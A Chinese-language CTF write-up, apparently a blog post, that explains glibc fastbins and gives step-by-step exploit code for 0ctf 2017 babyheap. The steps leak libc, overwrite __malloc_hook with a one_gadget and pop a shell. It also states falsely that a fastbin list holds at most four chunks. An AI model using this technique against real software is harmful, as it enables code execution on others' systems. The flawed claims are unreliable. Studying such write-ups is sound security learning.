CTF Pwn实战:从零构建fastbin attack漏洞利用链
1. 堆漏洞利用的艺术与科学
堆漏洞利用一直是CTF Pwn题目中最具挑战性的领域之一。不同于栈溢出的"直来直往",堆利用更像是在玩一场精心设计的积木游戏——你需要理解内存管理的内部机制,发现程序逻辑中的微小裂缝,然后像外科手术般精确地操控内存布局。
在众多堆利用技术中,fastbin attack因其相对简单的利用条件和强大的任意地址写能力,成为CTF选手必须掌握的"杀手锏"。这项技术主要针对glibc中用于管理小内存块的fastbin机制,通过精心构造的内存操作,最终实现控制流劫持。
为什么fastbin attack如此重要?
- 利用条件相对宽松,只需要能够修改已释放堆块的内容
- 不需要泄露堆地址,仅需泄露libc基址即可完成利用
- 可以绕过现代Linux系统中的部分保护机制
- 在CTF比赛中出现频率极高,特别是0ctf、HITCON等顶级赛事
让我们从一个真实的案例——0ctf 2017的babyheap题目出发,逐步拆解fastbin attack的完整利用链。
2. 理解fastbin的内存管理机制
2.1 fastbin的基本工作原理
fastbin是glibc中用于高效管理小内存块的单向链表结构。在x86-64架构下,默认管理以下7种大小的内存块:
| 索引 | 块大小 | 实际可用大小 |
|---|---|---|
| 0 | 0x20 | 0x10 |
| 1 | 0x30 | 0x20 |
| 2 | 0x40 | 0x30 |
| 3 | 0x50 | 0x40 |
| 4 | 0x60 | 0x50 |
| 5 | 0x70 | 0x60 |
| 6 | 0x80 | 0x70 |
每个fastbin链表最多包含4个相同大小的chunk,采用LIFO(后进先出)策略管理。当释放一个chunk时,它会被插入到对应fastbin链表的头部;当分配时,直接从链表头部取出。
2.2 fastbin chunk的关键结构
一个典型的fastbin chunk在内存中如下布局:
struct malloc_chunk {
size_t prev_size; // 前一个chunk的大小(如果空闲)
size_t size; // 当前chunk的大小和标志位
union {
struct {
malloc_chunk* fd; // 指向链表中下一个chunk(仅当空闲时有效)
malloc_chunk* bk;
};
char user_data[]; // 用户数据区
};
};
关键点在于:
size字段的低3位用作标志位(PREV_INUSE, IS_MMAPPED, NON_MAIN_ARENA)- 对于fastbin chunk,
fd指针指向链表中下一个相同大小的空闲chunk - 最后一个chunk的
fd指针为NULL
2.3 fastbin分配的核心检测
在分配fastbin chunk时,glibc会进行两项关键检查:
- 大小检查:请求的大小必须严格匹配fastbin链表的大小
- 地址对齐检查:chunk的地址必须对齐到2*SIZE_SZ(64位下为0x10)
这些检查在后续的漏洞利用中将成为我们需要绕过的障碍。
3. 构建0ctf babyheap的利用链
3.1 题目分析与初始堆布局
首先分析babyheap题目的基本功能:
def alloc(size):
# 申请指定大小的堆块
pass
def fill(index, size, content):
# 向指定堆块写入内容(存在堆溢出漏洞)
pass
def free(index):
# 释放指定堆块
pass
def dump(index):
# 输出指定堆块内容
pass
初始堆布局策略:
alloc(0x18) # chunk 0 - 用于后续溢出
alloc(0x68) # chunk 1 - 主要攻击目标
alloc(0x68) # chunk 2 - 用于泄露libc地址
alloc(0x18) # chunk 3 - 防止与top chunk合并
这样布局后,堆内存结构如下:
+---------+ 0x00
| chunk 0 | (0x20)
+---------+ 0x20
| chunk 1 | (0x70)
+---------+ 0x90
| chunk 2 | (0x70)
+---------+ 0x100
| chunk 3 | (0x20)
+---------+ 0x120
| top |
+---------+
3.2 泄露libc基址:unsorted bin攻击
利用chunk 0的溢出漏洞修改chunk 1的size字段:
fill(0, 0x19, b'A'*0x18 + b'\xe1') # 修改chunk1 size为0xe1
free(1) # 释放被修改后的chunk1,进入unsorted bin
此时内存布局:
unsorted bin: [chunk1+chunk2] (size=0xe0)
接下来重新申请chunk1,这将从unsorted bin分割:
alloc(0x68) # 新的chunk1
此时chunk2仍然指向原来的内存,但已经被标记为空闲状态。通过dump chunk2可以泄露main_arena地址:
dump(2)
leak = u64(p.recvline()[:8]) # 获取libc地址
libc_base = leak - 0x3c4b78 # 计算libc基址
3.3 构造fastbin链实现任意地址写
现在我们已经有了libc基址,可以定位关键函数指针:
malloc_hook = libc_base + libc.symbols['__malloc_hook']
onegadget = libc_base + 0x4526a # one_gadget偏移
接下来构造fastbin链:
- 首先制造一个double free场景:
alloc(0x68) # chunk4,与chunk2指向同一内存
free(2) # 释放chunk2,进入fastbin
fill(4, 0x8, p64(malloc_hook - 0x23)) # 修改fd指针
- 通过两次分配将fake chunk分配到malloc_hook附近:
alloc(0x68) # chunk2
alloc(0x68) # chunk5,将分配到malloc_hook-0x23处
- 向fake chunk写入one_gadget:
fill(5, 0x1b, b'A'*0x13 + p64(onegadget))
3.4 触发shell:劫持控制流
最后,只需再次申请任意大小的堆块即可触发malloc_hook,执行我们的one_gadget:
alloc(0x18) # 触发malloc_hook
p.interactive() # 获取shell
4. fastbin attack的高级技巧与防御
4.1 绕过size检查的艺术
在之前的利用中,我们使用了malloc_hook-0x23这个看似神奇的偏移。这是因为:
0x7fxxxxxx3aed <__malloc_hook-35>: 0x0000000000000000
0x7fxxxxxx3af5 <__malloc_hook-27>: 0xfff7xxxx0000007f <-- 这个0x7f正好作为fake size
0x7fxxxxxx3afd <__malloc_hook-19>: 0x00000000000000ff
这种技巧在CTF中非常常见,需要选手对内存布局有深刻理解。
4.2 现代glibc中的防护措施
随着glibc版本的更新,针对fastbin attack的防护也在不断加强:
- glibc 2.26+:引入tcache机制,改变了堆分配优先级
- glibc 2.28+:对fastbin增加了更多完整性检查
- glibc 2.32+:引入safe-linking机制保护链表指针
4.3 替代目标选择
当malloc_hook不可用时,还可以考虑以下目标:
- free_hook:通过类似技术劫持__free_hook
- GOT表:修改关键函数的GOT条目
- DTOR列表:在某些旧版本中可用
- FILE结构体:通过伪造FILE结构体实现任意读写
5. 从解题到实战:堆漏洞的深度思考
在真实的漏洞利用场景中,条件往往比CTF题目更加复杂。成功利用一个堆漏洞需要:
- 精确的内存布局控制:通过堆喷、堆风水等技术塑造理想的内存状态
- 信息泄露的可靠性:确保能够稳定地获取关键地址
- 利用链的鲁棒性:考虑不同环境下的偏移差异
- 绕过现代防护:对抗ASLR、NX、堆cookie等保护机制
fastbin attack虽然强大,但只是堆利用技术中的冰山一角。要成为真正的堆利用专家,还需要深入理解:
- tcache机制及其利用技巧
- largebin attack等更高级技术
- 各种堆分配器的实现差异(如jemalloc、tcmalloc)
- 内核态堆利用的特殊性
在0ctf babyheap这道题中,我们看到了一个相对完整的fastbin attack利用链。但在实际比赛中,情况往往更加复杂——可能需要组合多种技术,或者需要创造性地绕过题目设置的限制。这正是CTF比赛的魅力所在,也是安全研究的精髓:在不断变化的攻防对抗中,寻找那些看似不可能的突破点。
&spm=1001.2101.3001.5002&articleId=155009044&d=1&t=3&u=af23ca38b24f4fc2b9680b05ff36297c)
457

被折叠的 条评论
为什么被折叠?



